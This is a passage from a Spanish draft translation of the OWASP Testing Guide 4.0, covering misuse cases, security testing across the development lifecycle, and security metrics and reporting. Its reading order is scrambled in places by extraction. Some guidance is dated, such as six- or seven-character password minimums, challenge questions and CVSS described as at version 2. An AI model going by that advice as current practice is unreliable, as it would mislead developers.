• La aplicación no debe permitir que los datos sean modificados o destruidos. • La aplicación no debe ser comprometida o mal utilizada para transacciones financieras no autorizadas por un usuario malintencionado.
Los requisitos negativos son más difíciles de probar, porque no hay ningún comportamiento esperado que se pueda buscar. Esto podría requerir que un analista de amenazas cree causas y condiciones de entradas imprevisibles. Aquí es donde las pruebas de seguridad deben ser conducidas por el análisis de riesgo y modelo de amenazas. La clave es documentar los escenarios de amenaza y la funcionalidad de la defensa como factor para mitigar una amenaza.
• Proteger las credenciales de usuario y secretos compartidos en tránsito y en almacenamiento. • Enmascarar cualquier dato confidencial en pantalla (por ejemplo, contraseñas, cuentas). • Bloqueo de la cuenta de usuario después de un cierto número de intentos fallidos de registro. • No mostrar errores de validación específicos para el usuario como consecuencia de un error de inicio de sesión. • Permitir solamente contraseñas que sean alfanuméricas, que incluyan caracteres especiales y una longitud mínima de seis caracteres, para limitar la superficie de ataque. • Permitir la funcionalidad de cambio de contraseña sólo a usuarios autenticados mediante la validación de la contraseña anterior, nueva contraseña y la respuesta del usuario a la pregunta de desafío, para evitar el acceso forzoso a una contraseña a través del cambio de contraseña.
Por ejemplo, en el caso de controles de autenticación, los siguientes requisitos de seguridad se pueden documentar desde la perspectiva de amenazas y defensas:
• Encriptado de datos de autenticación en tránsito o almacenamiento para mitigar el riesgo de ataques de divulgación de información y protocolo de autenticación. • Cifrar las contraseñas usando encriptado no reversible como el uso de un repertorio (p. ej., HASH) y una semilla para evitar el ataque de diccionario. • Bloquear cuentas después de alcanzar un umbral de fallas de inicio de sesión y hacer cumplir la complejidad de contraseña para mitigar el riesgo de ataques forzosos de contraseñas. • Mostrar mensajes de error genérico tras la validación de credenciales para mitigar el riesgo de cosecha de cuentas o enumeración.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 23
Guia de pruebas 4.0 "Borrador"
• Autenticar mutuamente al cliente y al servidor para evitar el no repudio y los ataques de hombre en el medio (MiTM).
Las herramientas del modelo de amenazas, tales como los árboles de amenaza y bibliotecas de ataque, pueden ser útiles para derivar las
hipótesis de prueba negativa. Un árbol de amenazas asumirá un ataque a la raíz (por ejemplo, el atacante podría ser capaz de leer mensajes de otros usuarios) e identificar las diferentes debilidades de los controles de seguridad (por ejemplo, la validación de datos falla debido a una vulnerabilidad de inyección SQL) y las defensas necesarias (por ejemplo, implementar la validación de datos y consultas parametrizadas) que pudieran ser validadas en su eficacia en la mitigación de este tipo de ataques.
Cómo derivar los requisitos de las pruebas de seguridad mediante casos de uso correcto y uso indebido
Un prerrequisito para describir la funcionalidad de la aplicación es entender lo que se supone que la aplicación debe hacer y cómo. Esto puede hacerse mediante la descripción de casos de uso. Los casos de uso, en la forma gráfica como se usa generalmente en ingeniería de software, muestra las interacciones de los actores y sus relaciones. Ayudan a identificar a los actores en la aplicación, sus relaciones, la secuencia prevista de acciones para cada escenario, acciones alternativas, requisitos especiales, condiciones previas y condiciones posteriores.
Al igual que los casos de uso correcto, los casos de uso indebido o casos de abuso [19] describen escenarios de usos no deseados y maliciosos de la aplicación. Estos casos de mal uso proporcionan una forma para describir escenarios de cómo un atacante podría usar indebidamente y abusar de la aplicación. Al revisar los pasos individuales en un escenario de uso y pensar cómo pueden ser aprovechados maliciosamente, se pueden descubrir posibles fallas o aspectos de la aplicación que no están bien definidos. La clave es describir todos los escenarios posibles o, al menos, los escenarios de uso correcto y uso indebido más críticos.
Para derivar los requerimientos de seguridad del uso y mal uso de los casos [20], es importante definir los escenarios funcionales y los escenarios negativos y poner éstos en forma gráfica. En el caso de derivación de los requisitos de seguridad para la autenticación, por ejemplo, la siguiente metodología se puede seguir paso a paso:
Paso 1: Describa la situación funcional: El usuario autentica el ingreso mediante el suministro de un nombre de usuario y contraseña. La aplicación permite el acceso a los usuarios, basada en la autenticación de credenciales del usuario por parte de la aplicación y proporciona errores específicos al usuario cuando la validación falla.
Paso 2: Describa el escenario negativo: El atacante rompe la autenticación utilizando la fuerza bruta o a través de un ataque de diccionario de contraseñas y la cosecha de vulnerabilidades de cuenta en la aplicación. Los errores de validación proporcionan información específica para que el atacante adivine qué cuentas son realmente cuentas válidas registradas (usuarios). A continuación, el atacante
intentará forzar la contraseña para esa cuenta válida. Un ataque de fuerza bruta a contraseñas de mínimo cuatro dígitos a contraseñas de todos los dígitos puede tener éxito con un número limitado de intentos (es decir, 10 ^ 4).
Paso 3: Describa escenarios funcionales y escenarios negativos con casos de uso correcto y uso indebido: El ejemplo gráfico en la figura siguiente muestra la derivación de los requisitos de seguridad a través de casos de uso correcto y mal uso. El escenario funcional consiste en las acciones del usuario (introducir un nombre de usuario y contraseña) y las acciones de aplicación (autenticar al usuario y proporcionar un mensaje de error si la validación falla). El caso de mal uso consiste en las acciones del atacante, es decir, tratar de romper la autenticación usando fuerza bruta mediante un ataque de diccionario y adivinando los nombres de usuario válidos mediante los mensajes de error. Representando gráficamente las amenazas a las acciones del usuario (mal uso), es posible derivar las defensas como las acciones de la aplicación que mitiguen tales amenazas.
Figura 5: Requisitos de seguridad Los escenarios de uso indebido permiten el análisis de la aplicación desde la perspectiva del atacante y contribuyen a la identificación de posibles vulnerabilidades y las defensas necesarias para mitigar el impacto causado por la exposición potencial a dichas vulnerabilidades. Dados todos los casos de uso y abuso, es importante analizarlos para determinar cuáles son los más críticos y los que deben ser documentados en los requisitos de seguridad. La identificación de los casos más críticos de uso indebido y abuso conducen a la documentación de requisitos de seguridad y a los controles necesarios donde los riesgos de seguridad deben ser mitigados.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 24
Guia de pruebas 4.0 "Borrador"
Las pruebas de seguridad durante la fase de desarrollo del SDLC representan la primera oportunidad para los desarrolladores de asegurar que los componentes de software individuales que han desarrollado pasan pruebas de seguridad antes de que se integren con otros componentes y sean añadidos a la aplicación. Los componentes de software pueden ser artefactos de software tales como funciones, métodos y clases, así como interfaces de programación de aplicaciones, bibliotecas y archivos ejecutables. Para las pruebas de seguridad, los desarrolladores pueden confiar en los resultados de los análisis de código fuente para verificar estáticamente que el código fuente desarrollado no incluye posibles vulnerabilidades y cumple con los estándares de seguridad de codificación. Las pruebas de seguridad de la unidad podrán comprobar posteriormente de manera dinámica (es decir, en tiempo de ejecución) que los componentes funcionan como se esperaba. Antes de integrar ambos cambios de código nuevo y existente en la estructura de la aplicación, los resultados de los análisis estáticos y dinámicos deben ser revisados y validados.
La validación del código fuente antes de la integración a las estructuras de la aplicación es, generalmente, responsabilidad del desarrollador sénior. Estos desarrolladores sénior también son expertos en materia de seguridad de software y su función es liderar la revisión de seguridad del código. Deben tomar decisiones sobre la conveniencia de aceptar que el código sea incluido en la estructura de la aplicación o requiera más cambios y pruebas. Este flujo de trabajo de revisión de seguridad del código puede aplicarse a través de la aceptación formal, así como una aprobación en una herramienta de gestión de flujo de trabajo. Por ejemplo, suponiendo que se use el flujo de trabajo de administración de defectos típico para errores funcionales, errores de seguridad que han sido arreglados por un desarrollador pueden presentarse en un sistema de gestión de defectos o cambios. El director puede ver los resultados registrados por los desarrolladores en las herramientas y dar la aprobación de las revisiones a los cambios de código en la estructura de la aplicación. Paso 4: Obtenga los requisitos de seguridad. En este caso, se derivan los siguientes requisitos de seguridad para la autenticación: Pruebas de seguridad en el flujo de trabajo 1) Las contraseñas deben ser alfanuméricas, mayúsculas y minúsculas y un mínimo de longitud de siete caracteres; 2) Las cuentas deben bloquearse después de cinco intentos de registro sin éxito; 3) Los mensajes de error de registro deben ser genéricos.
Estos requisitos de seguridad deben ser documentados y probados.
Las pruebas de seguridad integradas al desarrollo y flujos de trabajo de las pruebas de seguridad
Después de que los componentes y los cambios en el código son probados por los desarrolladores y registrados en la estructura de la aplicación, el siguiente paso, más probablemente en el flujo de trabajo del proceso de desarrollo de software, es realizar pruebas en la aplicación como una entidad completa. Este nivel de prueba se conoce generalmente como prueba integrada y prueba de nivel de sistema. Cuando las pruebas de seguridad son parte de estas actividades de pruebas, pueden utilizarse para validar la funcionalidad de seguridad de la aplicación como un todo, así como la exposición a vulnerabilidades a nivel de aplicación. Estas pruebas de seguridad en la aplicación incluyen tanto las pruebas de Caja Blanca como el análisis de código fuente; y las pruebas de Caja Negra como pruebas de penetración. Las pruebas de Caja Gris son similares a las pruebas de Caja Negra. En una prueba de Caja Gris se supone que el evaluador tiene un conocimiento parcial sobre el manejo de la sesión de la aplicación y que debe ayudar a entender si el registro de salida y funciones de tiempo de caducidad están bien aseguradas.
Las pruebas de seguridad en el flujo de trabajo del desarrollo
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 25
Guia de pruebas 4.0 "Borrador"
El objetivo de las pruebas de seguridad es el sistema completo que será potencialmente atacado e incluye el código fuente completo y el
ejecutable. Una ventaja de las pruebas de seguridad durante esta fase de prueba es que es posible para los evaluadores de seguridad determinar si las vulnerabilidades pueden ser explotadas y exponen a la aplicación a riesgos reales. Esto incluye tanto a vulnerabilidades de aplicaciones web comunes como a problemas de seguridad que se han identificado más temprano en el SDLC con otras actividades como el modelo de amenazas, el análisis de código fuente y revisiones de seguridad del código.
Por lo general, son los ingenieros de pruebas, no los desarrolladores de software, quienes realizan las pruebas de seguridad cuando la aplicación está en la mira de las pruebas del sistema de integración. Estos ingenieros de pruebas tienen conocimientos de seguridad acerca de vulnerabilidades de aplicaciones web, técnicas de pruebas de seguridad de Caja Negra y Caja Blanca y dominan la validación de requisitos de seguridad en esta fase. Para poder realizar estas pruebas de seguridad, es un prerrequisito que los casos de pruebas de seguridad estén documentados en la guía y procedimientos de pruebas de seguridad.
Un ingeniero de pruebas que valida la seguridad de la aplicación en el entorno del sistema integrado podría liberar a la aplicación para ser probada en el entorno operativo (por ejemplo, pruebas de aceptación del usuario). En esta etapa de SDLC (es decir, validación), las pruebas funcionales de la aplicación son generalmente una responsabilidad de evaluadores QA, mientras que los hackers de sombrero blanco o consultores de seguridad son generalmente responsables de las pruebas de seguridad. Algunas organizaciones se apoyan en su propio equipo de hackers éticos especializados para llevar a cabo este tipo de pruebas cuando una evaluación externa no es necesaria (por ejemplo, para propósitos de auditoría).
Puesto que estas pruebas son el último recurso para solucionar vulnerabilidades antes de que la aplicación sea lanzada a la producción, es importante que estos temas sean abordados según lo recomendado por el equipo de pruebas. Las recomendaciones pueden incluir cambios de código, diseño o configuración. En este nivel, los auditores de seguridad y los oficiales de seguridad de la información discuten sobre los temas de seguridad reportados y analizan los riesgos potenciales según los procedimientos de gestión de riesgo de la información. Tales procedimientos pueden requerir que el equipo de desarrollo corrija todas las vulnerabilidades de alto riesgo antes de que la aplicación sea liberada, a menos que tales riesgos sean reconocidos y aceptados.
Desde la perspectiva del desarrollador, el principal objetivo de las pruebas de seguridad es validar que el código esté siendo desarrollado de acuerdo con los requisitos de las normas de codificación segura. Los artefactos de codificación de los desarrolladores (como las funciones, métodos, clases, APIs y bibliotecas) deben ser validados funcionalmente antes de integrarse a la construcción de la aplicación.
Los requisitos de seguridad que los desarrolladores tienen que seguir deben ser documentados en los estándares de codificación seguros y validados con el análisis estático y dinámico. Si la actividad de la unidad de pruebas sigue una revisión de códigos seguros, las pruebas de unidad pueden validar que los cambios requeridos por las revisiones de seguridad de códigos se hayan implementado correctamente. Las revisiones de seguridad de códigos y análisis de código fuente a través de las herramientas de análisis de código fuente ayudan a los desarrolladores en la identificación de problemas de seguridad en el código fuente mientras se desarrolla. Mediante el uso de pruebas de
unidad y análisis dinámico (p. ej., depuración) los desarrolladores pueden validar la funcionalidad de seguridad de los componentes, así como verificar que las defensas que están siendo desarrolladas mitigan cualquier riesgo de seguridad identificado previamente a través de la creación de modelos de amenazas y el análisis de código fuente.
Una buena práctica de los desarrolladores es crear casos de prueba de seguridad como un conjunto de pruebas de seguridad genéricas que forma parte del framework de pruebas de la unidad. Un conjunto de pruebas de seguridad genérico puede derivarse de casos de uso correcto y mal uso previamente definidos como funciones, métodos y clases. Un conjunto de pruebas de seguridad genérica puede incluir casos de prueba de seguridad para validar tanto requisitos positivos como negativos para los controles de seguridad, tales como:
• Identidad, autenticación y control de acceso • Validación de ingreso y codificación • Encriptado • Administración de usuarios y sesión • Manejo de errores y excepciones • Auditoría y registro
Pruebas de seguridad del desarrollador Pruebas de seguridad en la fase de codificación: pruebas de unidad
Los desarrolladores empoderados con una herramienta de análisis de código fuente integrada en su IDE, estándares de codificación seguros y un framework para la unidad de pruebas de seguridad pueden evaluar y verificar la seguridad de los componentes de software que está siendo desarrollado. Los casos de
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 26
Guia de pruebas 4.0 "Borrador"
pruebas de seguridad pueden ejecutarse para identificar posibles problemas de seguridad que tienen su causa principal en el código fuente.
Además de la validación de parámetros de entrada y salida, que entran y salen de los componentes, estos temas incluyen verificaciones de autenticación y autorización realizadas por el componente, protección de los datos dentro del componente, excepción segura y manejo de errores y garantizar la auditoría y el registro. Los frameworks de la unidad de prueba tales como Junit, Nunit y Cunit se pueden adaptar para verificar los requisitos de la prueba de seguridad. En el caso de pruebas funcionales de seguridad, las pruebas de nivel de unidad pueden probar la funcionalidad de los controles de seguridad al nivel de componentes de software, tales como las funciones, métodos o clases. Por ejemplo, un caso de prueba puede verificar la validación de entrada y salida (por ejemplo, saneamiento de variables) y verificación de límites para las variables, afirmando la funcionalidad esperada del componente.
seguridad del desarrollador. Cuando se implementa una solución para un defecto de codificación identificado mediante el análisis de código fuente; por ejemplo, los casos de pruebas de seguridad, puede verificar que la aplicación del cambio de código sigue los requisitos de codificación segura, documentados en los estándares de codificación seguros.
Las pruebas de análisis de código fuente y de unidad pueden validar que el cambio de código mitiga la vulnerabilidad expuesta por el defecto de codificación previamente identificado. Los resultados del análisis automatizado de codificación segura también pueden utilizarse como puertas automáticas de entrada para el control de la versión del software, por ejemplo, los artefactos del software no pueden verificarse dentro de la estructura si existen temas de alto o mediano grado de severidad.
Pruebas de seguridad de evaluadores funcionales Los escenarios de amenaza identificados con los casos de uso y mal uso se pueden utilizar para documentar los procedimientos para las pruebas de los componentes de software. En el caso de componentes de autenticación, por ejemplo, las pruebas de seguridad de la unidad pueden afirmar la funcionalidad de establecer un bloqueo de cuenta, así como el hecho de que los parámetros de entrada de usuario no pueden ser objeto de abuso para eludir el bloqueo de la cuenta (por ejemplo, estableciendo el contador de bloqueo de cuenta con un número negativo).
Al nivel de componentes, las pruebas de seguridad de la unidad pueden validar afirmaciones positivas así como negativas, tales como manejo de errores y excepciones. Las excepciones deben ser atrapadas sin dejar al sistema en un estado inseguro, tal como una posible negación de servicio provocada por recursos que no se están desasignando (por ejemplo, puntos de conexión no cerrados dentro de un bloque de declaración final), así como la potencial elevación de privilegios (por ejemplo, mayores privilegios adquiridos antes de que la excepción sea lanzada y que no vuelva a configurar con el nivel anterior antes de salir de la función). El manejo de errores de seguridad puede validar la posible revelación de información a través de mensajes informativos de error o restos de información.
Los casos de pruebas de seguridad a nivel de unidad pueden ser desarrollados por un ingeniero de seguridad que es el experto en la materia de seguridad de software y también es responsable de validar que los temas de seguridad en el código fuente se han corregido y se pueden comprobar en la estructura del sistema integrado. Normalmente, el administrador de la construcción de la aplicación también se asegura de que archivos ejecutables y bibliotecas de terceros sean evaluados en busca de vulnerabilidades potenciales antes de integrarlos en la estructura de las aplicaciones.
Los escenarios de amenazas de vulnerabilidades comunes que son causados por una codificación insegura pueden documentarse también en guía de pruebas de
Las pruebas de seguridad durante la fase de integración y validación: Pruebas integradas de sistema y pruebas operativas El objetivo principal de las pruebas de sistema integrado es validar el concepto de "defensa en profundidad", es decir, que la aplicación de controles de seguridad proporciona seguridad en diferentes niveles. Por ejemplo, la falta de validación de entrada al llamar a un componente integrado con la aplicación es, a menudo, un factor que puede ser probado con pruebas de integración.
El entorno de pruebas del sistema de integración también es el primer ambiente donde los evaluadores pueden simular escenarios de ataque real que puede ser potencialmente ejecutado por un usuario externo o interno de la aplicación. Pruebas a este nivel de seguridad pueden validar si las vulnerabilidades son reales y pueden ser aprovechadas por los atacantes. Por ejemplo, una potencial vulnerabilidad en el código fuente puede ser clasificada como de alto riesgo debido a la exposición a potenciales usuarios maliciosos, así como debido al impacto potencial (p. ej., acceso a información confidencial).
Los escenarios de ataque real pueden analizarse tanto con técnicas manuales de pruebas como con herramientas de prueba de penetración. Las pruebas de seguridad de este tipo se denominan también pruebas de hacking ético. Desde la perspectiva de pruebas de seguridad, éstas son direccionadas por el riesgo y tienen el objetivo de probar la aplicación en el entorno operativo. El objetivo es la estructura de la aplicación representativa de aquella versión que será implementada en la producción.
Incluir las pruebas de seguridad en la fase de integración y validación es fundamental para identificar vulnerabilidades causadas por la integración de componentes, así como la validación de la exposición a esas
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 27
Guia de pruebas 4.0 "Borrador"
vulnerabilidades. Las pruebas de seguridad para la aplicación requieren de un conjunto especializado de habilidades, incluidos los conocimientos de software y seguridad, que no son típicos de los ingenieros de seguridad. Como resultado de esto, las organizaciones deben, a menudo, entrenar a sus desarrolladores de software sobre las técnicas de hacking ético, procedimientos de evaluación de seguridad y las herramientas. Un escenario realista es desarrollar estos recursos internamente y documentarlos en guías de pruebas de seguridad y procedimientos que tengan en cuenta el conocimiento del desarrollador sobre pruebas de seguridad. Un listado llamado "hoja de trampa de casos de prueba de seguridad o lista de verificación", por ejemplo, pueden proporcionar casos de prueba simples y atacar vectores que pueden ser utilizados por los evaluadores para validar la exposición a vulnerabilidades comunes como el spoofing (burla), divulgaciones de información, saturación de búfer, cadenas de formato, inyección de SQL, inyección XSS, XML, SOAP, problemas de estandarización, denegación de servicio y código administrado y los controles ActiveX (por ejemplo,.NET). Una primera batería de estas pruebas se puede realizar manualmente con un conocimiento muy básico de seguridad de software.
El primer objetivo de las pruebas de seguridad puede ser la validación de un conjunto de requisitos mínimos de seguridad. Estos casos de prueba de seguridad podrían consistir en forzar manualmente la aplicación al error y estados excepcionales y recabar conocimientos del comportamiento de la aplicación. Por ejemplo, las vulnerabilidades de inyección SQL se pueden probar manualmente mediante la inyección de vectores de ataque a través de los ingresos del usuario y comprobando si las excepciones de SQL son devueltas al usuario. La evidencia de un error de excepción de SQL podría ser una manifestación de una vulnerabilidad que puede ser explotada.
Un examen más profundo de seguridad puede requerir conocimientos de técnicas especializadas de análisis y herramientas por parte del evaluador. Además del análisis de código fuente y las pruebas de penetración, estas técnicas incluyen, por ejemplo, inyección de fallas del código fuente y binario, análisis de propagación de falla y cobertura de código, pruebas de difusión e ingeniería inversa. La guía de pruebas de seguridad debe proporcionar procedimientos y recomendar herramientas que puedan utilizar los evaluadores de seguridad para realizar a fondo estas evaluaciones de seguridad.
El siguiente nivel de pruebas de seguridad después de las pruebas de integración del sistema es realizar pruebas de seguridad en el entorno de aceptación del usuario. Hay ventajas únicas para realizar pruebas de seguridad en el entorno operativo. El entorno de pruebas de aceptación de usuario (UAT) es el más representativo de la configuración de lanzamiento, con la excepción de los datos (por ejemplo, los datos de prueba se utilizan en lugar de los datos reales). Una característica de seguridad en la UAT es probar los problemas de configuración de seguridad. En algunos casos, estas vulnerabilidades podrían representar alto riesgo. Por ejemplo, el servidor que aloja la aplicación web podría no estar configurado con privilegios mínimos, certificado SSL válido y configuración segura, los servicios esenciales desactivados y el directorio web principal no haber sido limpiado de pruebas y páginas web administrativas.
Análisis de datos de prueba de seguridad y reportes Objetivos de las métricas de pruebas de seguridad y mediciones
Definir los objetivos de métricas de pruebas de seguridad y mediciones es un prerrequisito para el uso de datos de las pruebas de seguridad para procesos de análisis de riesgo y gestión. Por ejemplo, una medida como el número total de vulnerabilidades encontradas con las pruebas de seguridad podría cuantificar la postura de seguridad de la aplicación. Estas mediciones también ayudan a identificar los objetivos de seguridad para pruebas de seguridad de software. Por ejemplo, reducir el número de vulnerabilidades a un número aceptable (mínimo) antes de que la aplicación sea lanzada a producción.
Otra meta manejable sería comparar la postura de seguridad de la aplicación contra una línea de base para evaluar mejoras en los procesos de seguridad de la aplicación. Por ejemplo, la línea base de métricas de seguridad puede ser una aplicación que fue probada solamente con pruebas de penetración. Los datos de seguridad obtenidos de una aplicación que también fue probada durante la codificación debe mostrar una mejora (p. ej., menor número de vulnerabilidades) al comparar con la línea base.
En pruebas de software tradicional, el número de defectos de software, tales como los errores encontrados en una aplicación, podría proporcionar una medida de la calidad del software. Del mismo modo, las pruebas de seguridad pueden proporcionar una medida de seguridad de software. Desde el punto de vista de la gestión de defectos e informes, la calidad del software y las pruebas de seguridad pueden utilizar clasificaciones similares y el mismo esfuerzo para ver las causas principales y remediación de defectos. Desde el punto de vista de la causa principal, un defecto de seguridad puede ser debido a un error en el diseño (por ejemplo, fallas de seguridad) o debido a un error en la codificación (por ejemplo, errores de seguridad). Desde la perspectiva del esfuerzo requerido para arreglar un defecto, tanto los defectos de seguridad como los de calidad, se pueden medir en términos de horas del desarrollador para implementar la solución, las herramientas y recursos necesarios para reparar y el costo para implementar la solución.
Una característica de los datos de pruebas de seguridad, en comparación con los datos de calidad, es la clasificación en términos de la amenaza, la exposición de la vulnerabilidad y el impacto potencial que implica la vulnerabilidad para determinar el riesgo. Las pruebas de aplicaciones de seguridad consisten en gestionar los riesgos técnicos para asegurarse de que las defensas de la aplicación alcancen niveles aceptables. Por esta razón, los datos de pruebas de seguridad deben apoyar la estrategia de riesgo para la seguridad en puntos críticos de control durante el SDLC.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 28
Guia de pruebas 4.0 "Borrador"
Por ejemplo, las vulnerabilidades encontradas en el código fuente mediante el análisis del código fuente representan una medida inicial del riesgo. Una medida de riesgo (p. ej., alta, media, baja) de la vulnerabilidad puede calcularse mediante la determinación de los factores de exposición y probabilidad, validando la vulnerabilidad con pruebas de penetración. Las métricas de riesgo asociadas a vulnerabilidades encontradas con las pruebas de seguridad dan el poder a la gestión de negocio para poder tomar decisiones de riesgo, tales como para decidir si los riesgos pueden ser aceptados, mitigados o transferidos a diferentes niveles dentro de la organización (por ejemplo, de negocios, así como los riesgos técnicos).
Al evaluar la postura de seguridad de una aplicación, es importante tener en cuenta ciertos factores, tales como el tamaño de la aplicación que está siendo desarrollada. Se ha demostrado estadísticamente que el tamaño de la aplicación se relaciona con el número de problemas encontrados en la aplicación durante la prueba. Una medida del tamaño de la aplicación es el número de líneas de código (LOC) de la aplicación. Por lo general, los defectos de calidad de software van desde unos siete a diez defectos por cada mil líneas de código nuevo y corregido [21]. Puesto que las pruebas pueden reducir el número total cerca de un 25% con solo una prueba, es lógico que las aplicaciones de mayor tamaño sean probadas más a menudo que las aplicaciones de tamaño más pequeño.
Los datos de pruebas de seguridad pueden ser absolutos, como el número de vulnerabilidades detectadas durante la revisión de código manual; así como comparativo, como el número de vulnerabilidades detectadas durante las revisiones de código comparadas con las pruebas de penetración. Para responder a preguntas sobre la calidad del proceso de seguridad, es importante determinar una línea base para lo que podría considerarse aceptable y bueno. Los datos de pruebas de seguridad también pueden apoyar objetivos específicos del análisis de seguridad. Estos objetivos podrían ser el cumplimiento de las normas de seguridad y estándares de seguridad de la información, los procesos de gestión de la seguridad, la identificación de causas principales de seguridad y mejoras en los procesos y el análisis de costo- beneficio de la seguridad.
Cuando se reportan los datos de las pruebas de seguridad, estos deben proporcionar métricas que apoyen el análisis. El alcance del análisis es la interpretación de los datos de prueba para encontrar pistas sobre la seguridad del software en producción, así como la efectividad del proceso.
Algunos ejemplos de las pistas sustentadas por datos de prueba de seguridad pueden ser:
• ¿Se reducen las vulnerabilidades a un nivel aceptable para el lanzamiento?
Cuando las pruebas de seguridad se realizan en varias etapas de la SDLC, los datos de prueba pueden demostrar la capacidad de las pruebas de seguridad en la detección de vulnerabilidades en cuanto estas son introducidas. Los datos de prueba también pueden probar la eficacia de la eliminación de las vulnerabilidades mediante la implementación de defensas en diferentes puntos de control de la SDLC. Una medida de este tipo se define también como "métricas de contención" y proporciona una medida de la capacidad de mantener la seguridad dentro de cada fase del proceso de desarrollo para mantener la seguridad en cada una. Estas métricas de contención también son un factor crítico para reducir el costo al solucionar las vulnerabilidades. Es menos costoso hacer frente a vulnerabilidades que se encuentran en la fase misma de la SDLC, que arreglarlas más adelante en otra fase.
• ¿Cómo se compara la calidad de la seguridad de este producto con otros productos similares de software? • ¿Se están cumpliendo todos los requisitos de pruebas de seguridad? • ¿Cuáles son las causas principales de los problemas de seguridad? • ¿ ué tan numerosas son las fallas de seguridad con respecto a los errores de seguridad?
• ¿ ué actividad de seguridad es más eficaz para encontrar vulnerabilidades? • ¿ ué equipo es más productivo en arreglar defectos de seguridad y vulnerabilidades?
Las métricas de pruebas de seguridad pueden apoyar la seguridad de riesgos, costo y gestión de defectos cuando se asocian con objetivos tangibles y a tiempo, tales como:
• reducir el número total de vulnerabilidades en un 30% • solución de temas de seguridad en un determinado plazo (por ejemplo, antes del lanzamiento de la beta)
• ¿ ué porcentaje del total de vulnerabilidades es de alto riesgo? • ¿ ué herramientas son más eficaces en la detección de vulnerabilidades de seguridad? • ¿ ué tipo de pruebas de seguridad son más eficaces para detectar vulnerabilidades (por ejemplo, Caja Blanca versus Caja Negra)? • ¿Cuántos problemas de seguridad se encuentran durante las revisiones de seguridad del código? • ¿Cuántos problemas de seguridad se encuentran durante las revisiones de seguridad del diseño?
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 29
Guia de pruebas 4.0 "Borrador"
• La causa principal de los temas de seguridad (por ejemplo, los errores de seguridad, la falla de seguridad) Para hacer un juicio coherente utilizando los datos de prueba, es importante tener una buena comprensión del proceso de pruebas, así como de las herramientas de prueba. Se debe adoptar una taxonomía de herramientas para decidir qué herramientas de seguridad se deben utilizar. Las herramientas de seguridad se pueden calificar como buenas para encontrar vulnerabilidades comunes conocidas que apuntan a distintos objetos.
• La técnica de pruebas utilizada para encontrar el problema • La solución a la vulnerabilidad (por ejemplo, la defensa)
• La clasificación de gravedad de la vulnerabilidad (alta, media, baja o puntuación CVSS) La preocupación es que no se analizan los temas de seguridad desconocidos. El hecho de que se pase una prueba de seguridad no significa que el software o la aplicación es buena. Algunos estudios [22] han demostrado que, en el mejor de los casos, las herramientas sólo pueden encontrar el 45% de todas las vulnerabilidades.
Incluso las más sofisticadas herramientas de automatización no son competencia para un evaluador de seguridad experimentado. Sólo confiar en los resultados de pruebas exitosas de las herramientas de automatización les dará a los profesionales de la seguridad una falsa sensación de seguridad. Por lo general, mientras más experimentados son los evaluadores de seguridad en la metodología de pruebas de seguridad y herramientas de prueba, mejores serán los resultados de las pruebas de seguridad y análisis. Es importante que los gerentes que realizan una inversión en herramientas de pruebas de seguridad también consideren una inversión en la contratación de recursos humanos calificados, así como en capacitación para pruebas de seguridad.
Reporte de requerimientos La postura de seguridad de una aplicación puede ser caracterizada desde la perspectiva del efecto, tal como el número de vulnerabilidades y la calificación de riesgo de las vulnerabilidades, así como desde la perspectiva de la causa u origen, tales como problemas de codificación, fallos arquitectónicos y errores de configuración.
Las vulnerabilidades pueden clasificarse según diversos criterios. La métrica de la gravedad de vulnerabilidad más comúnmente utilizada es el Foro de Respuesta a Incidentes y Equipos de Seguridad (FIRST) Sistema de Puntuación de Vulnerabilidad Común (CVSS), que actualmente se encuentra en la versión 2 con la versión 3, cuyo lanzamiento está previsto para dentro de poco.
Al reportar datos de prueba de seguridad, la mejor práctica es incluir la siguiente información:
• La categorización de cada tipo de vulnerabilidad
Describiendo cuál es la amenaza a la seguridad, será posible entender si y por qué el control de mitigación es ineficaz en la mitigación de la amenaza.
Informar la causa principal del problema puede ayudar a identificar lo que necesita ser corregido. En el caso de una prueba de Caja Blanca, por ejemplo, la causa de seguridad principal de la vulnerabilidad del software será transgredir el código fuente.
Una vez que se reportan los problemas, también es importante proporcionar orientación al desarrollador de software para que pueda volver a probar y encontrar la vulnerabilidad. Esto podría significar usar una técnica de prueba de Caja Blanca (por ejemplo, revisión del código de seguridad con un analizador de código estático) para encontrar si el código es vulnerable. Si se encuentra una vulnerabilidad a través de una técnica de Caja Negra (prueba de penetración), el informe de prueba también debe proporcionar información sobre cómo validar la exposición de la vulnerabilidad en el extremo delantero (por ejemplo, cliente).
La información acerca de cómo solucionar la vulnerabilidad debe ser detallada suficientemente para que un desarrollador pueda implementar una solución. Debe dar ejemplos de codificación segura, cambios en la configuración y proporcionar referencias adecuadas.
Finalmente, la clasificación de la gravedad contribuye al cálculo de la calificación de riesgo y ayuda a priorizar los esfuerzos de remediación. Por lo general, asignar una calificación de riesgo a la vulnerabilidad involucra el análisis de riesgo externo basado en factores tales como el impacto y la exposición.
Casos de negocios Para que las métricas de pruebas de seguridad sean útiles, deben proporcionar valor a los depositarios o accionistas de los datos de las pruebas de seguridad de la organización. Los accionistas pueden incluir gerentes de proyecto, desarrolladores, oficinas de seguridad de información, auditores y oficiales principales de
• La amenaza a la seguridad que expone el tema
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 30
Guia de pruebas 4.0 "Borrador"
información. El valor puede ir en términos de la rentabilidad que tiene cada accionista del proyecto, en términos del rol y la responsabilidad.
[1] T. DeMarco, Controlling Software Projects: Management, Measurement and Estimation, Yourdon Press, 1982 [2] S. Payne, A Guide to Security Metrics - sans.org
Los desarrolladores de software buscan demostrar, en los datos de pruebas de seguridad, que el software está codificado de una manera más segura y eficiente. Esto les permite apoyar el caso para usar herramientas de análisis de código fuente, así como seguir estándares de codificación y asistir a entrenamientos de seguridad de software.
[3] NIST, The economic impacts of inadequate infrastructure for software testing - nist.gov [4] Ross Anderson, Economics and Security Resource Page - cl.cam.ac.uk [5] Denis Verdon, Teaching Developers To Fish - OWASP AppSec NYC 2004
